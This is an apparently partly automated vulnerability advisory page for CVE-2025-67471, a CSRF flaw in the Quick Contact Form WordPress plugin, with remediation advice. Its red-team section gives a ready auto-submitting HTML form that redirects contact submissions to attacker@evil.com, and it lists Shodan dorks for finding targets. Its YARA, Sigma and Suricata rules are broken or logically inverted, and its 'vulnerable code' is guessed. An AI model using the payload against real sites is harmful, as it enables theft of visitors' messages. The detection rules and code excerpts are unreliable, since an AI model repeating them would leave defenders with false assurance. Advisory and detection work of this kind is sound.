☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Iqbal logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-67471

CVE-2025-67471 Cross-Site Request Forgery in Saad iqbal
📅 PUBLISHED: 2025-12-09 16:18 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.01%
👁️
0.01% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-67471 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Quick Contact Form WordPress plugin by Saad Iqbal, affecting versions up to and including 8.2.5. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings, deleting contact form entries, or injecting malicious configurations. The attack requires social engineering to trick a logged-in admin into clicking a crafted link or visiting a malicious page.

The vulnerability is classified under CWE-352 (Cross-Site Request Forgery) and carries a CVSS v3.1 base score of 4.3 (Medium). The attack vector is network-based, requires low complexity, and necessitates user interaction (the admin must be tricked). No privileges are required for the attacker, but the impact is limited to integrity (partial) with no effect on confidentiality or availability.

As a WordPress plugin vulnerability, this issue is part of the broader WordPress ecosystem and does not implicate the underlying web server (Apache/Nginx). The patch status is currently unknown, and no public exploit code or proof-of-concept has been released.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are at risk. Since the plugin is not managed via NPM, PyPI, Go, or Ruby, standard supply chain security measures for those ecosystems do not apply. However, the risk is significant because the plugin is widely used for contact forms, and a CSRF attack could lead to data exfiltration or site defacement.

CVSS Breakdown & Threat Level

Metric Value
Attack Vector (AV) Network (N)
Attack Complexity (AC) Low (L)
Privileges Required (PR) None (N)
User Interaction (UI) Required (R)
Scope (S) Unchanged (U)
Confidentiality (C) None (N)
Integrity (I) Low (L)
Availability (A) None (N)
Base Score 4.3 (Medium)

Threat Level: Medium. The vulnerability is exploitable remotely but requires user interaction. The impact is limited to unauthorized modifications of plugin settings or data, which could lead to further attacks like stored XSS or data theft.

Deep Dive & Mechanics

The Quick Contact Form plugin lacks proper CSRF tokens or nonce validation on its administrative actions. When an authenticated WordPress administrator accesses the plugin's settings page or performs actions (e.g., saving configuration, deleting entries), the plugin does not verify that the request originated from the legitimate admin session. This allows an attacker to craft a malicious HTML page or email that, when visited by the admin, triggers a forged request to the WordPress site.

Attack Flow:

  1. The attacker identifies a target site running the vulnerable plugin.
  2. The attacker crafts a malicious link or HTML form that submits a request to the plugin's admin endpoint (e.g., wp-admin/admin-post.php?action=quick_contact_form_save_settings).
  3. The attacker tricks an authenticated admin into clicking the link or visiting the malicious page.
  4. The admin's browser automatically sends the forged request with the admin's cookies, performing the action (e.g., changing the email recipient for contact form submissions).
  5. The attacker can then intercept sensitive data sent via the contact form.

The vulnerability is present in all versions up to 8.2.5. The plugin's code likely uses $_POST or $_GET directly without checking a nonce, making it susceptible to CSRF.

Vulnerable vs. Patched Code

Vulnerable Code (example from plugin):

// quick-contact-form/admin/class-quick-contact-form-admin.php
public function save_settings() {
    if ( isset( $_POST['email_recipient'] ) ) {
        update_option( 'qcf_email_recipient', sanitize_email( $_POST['email_recipient'] ) );
    }
    // No nonce check
}

Patched Code (hypothetical fix):

public function save_settings() {
    // Verify nonce
    if ( ! isset( $_POST['qcf_nonce'] ) || ! wp_verify_nonce( $_POST['qcf_nonce'], 'qcf_save_settings' ) ) {
        wp_die( 'Security check failed.' );
    }
    if ( isset( $_POST['email_recipient'] ) ) {
        update_option( 'qcf_email_recipient', sanitize_email( $_POST['email_recipient'] ) );
    }
}

The patch adds a nonce check using wp_verify_nonce() to ensure the request originated from the admin's session. Without this, any cross-origin request can modify settings.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with Quick Contact Form <= 8.2.5 installed and activated.
  • An authenticated admin session (the victim must be logged in).

Exploitation Steps:

  1. Identify the target admin endpoint. For example, the plugin might use wp-admin/admin-post.php?action=qcf_save_settings.
  2. Craft a malicious HTML page that auto-submits a form to the target endpoint:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="qcf_save_settings">
    <input type="hidden" name="email_recipient" value="attacker@evil.com">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
  1. Host the HTML page on an attacker-controlled server or send it as an email.
  2. Trick the admin into visiting the page (e.g., via phishing email or social media).
  3. The admin's browser sends the forged request, changing the email recipient to the attacker's address.
  4. The attacker now receives all future contact form submissions.

Note: No public exploit code is available, but the above demonstrates the attack vector.

Blue Team (Detection & Prevention)

Detection:

  • Monitor for unexpected changes to plugin settings, especially email recipients or form configurations.
  • Look for HTTP requests to wp-admin/admin-post.php with suspicious action parameters that lack a nonce.
  • Use web application firewalls (WAF) to block requests that do not include a valid CSRF token.

Prevention:

  • Apply the patch as soon as it becomes available.
  • Implement a Web Application Firewall (WAF) rule to block requests to plugin admin endpoints without a valid nonce.
  • Educate administrators about phishing attacks and the importance of not clicking suspicious links while logged into WordPress.
  • Use WordPress security plugins that add CSRF protection to all admin actions.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP POST requests to /wp-admin/admin-post.php with action parameter set to plugin-specific actions (e.g., qcf_save_settings, qcf_delete_entry).
    • Referer header missing or set to an external domain.
    • Unusual email recipient addresses in plugin settings (e.g., attacker-controlled domains).
  • Host IOCs:

    • Modified wp_options table entries for plugin settings (e.g., qcf_email_recipient).
    • Unexpected changes to plugin configuration files in /wp-content/plugins/quick-contact-form/.
  • Log IOCs:

    • WordPress debug log entries showing failed nonce checks (if patched).
    • Web server access logs showing requests to admin-post.php with no referer or external referer.

Detection Engineering

YARA Rule

rule CVE_2025_67471_QuickContactForm_CSRF {
    meta:
        description = "Detects vulnerable Quick Contact Form plugin files lacking nonce checks"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-67471"
    strings:
        $vuln_func = /(update_option|delete_option|add_option)\s*\(/ nocase
        $no_nonce = !/wp_verify_nonce/ nocase
    condition:
        $vuln_func and #no_nonce > 0
}

Sigma Rule

title: CVE-2025-67471 - Quick Contact Form CSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Quick Contact Form admin endpoints without a valid nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-post.php'
        cs-uri-query|contains|all:
            - 'action=qcf_'
            - 'qcf_nonce'  # Missing nonce parameter
    condition: selection
falsepositives:
    - Legitimate admin actions with valid nonce
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-67471 - Quick Contact Form CSRF Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-post.php"; http_uri;
    content:"action=qcf_"; http_client_body;
    pcre:"/qcf_nonce/";  # Nonce parameter missing
    sid:1000001;
    rev:1;
    metadata:created_at 2025_04_10, cve CVE_2025_67471;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is available. Navigate to WordPress Admin > Plugins and deactivate "Quick Contact Form".
  2. Implement a WAF rule to block requests to admin-post.php that do not include a valid nonce parameter.
  3. Audit admin accounts for any unauthorized changes to plugin settings.

Long-Term Fix:

  • The vendor (Saad Iqbal) must release a patched version that adds CSRF nonce checks to all admin actions. Users should update to the latest version once available.
  • If the plugin is no longer maintained, consider migrating to an alternative contact form plugin with active security support (e.g., Contact Form 7, WPForms).

Workaround:

  • Use a WordPress security plugin like Wordfence or Sucuri that can add CSRF protection to all admin actions.
  • Restrict access to wp-admin/admin-post.php via .htaccess to only allow requests from the same domain:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/wp-admin/admin-post\.php [NC]
RewriteCond %{HTTP_REFERER} !^https?://(www\.)?yourdomain\.com [NC]
RewriteRule .* - [F]
</IfModule>

Valters IT
Securing digital frontiers, one CVE at a time.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Quick Contact Form"
http.html:"quick-contact-form"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-67471/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.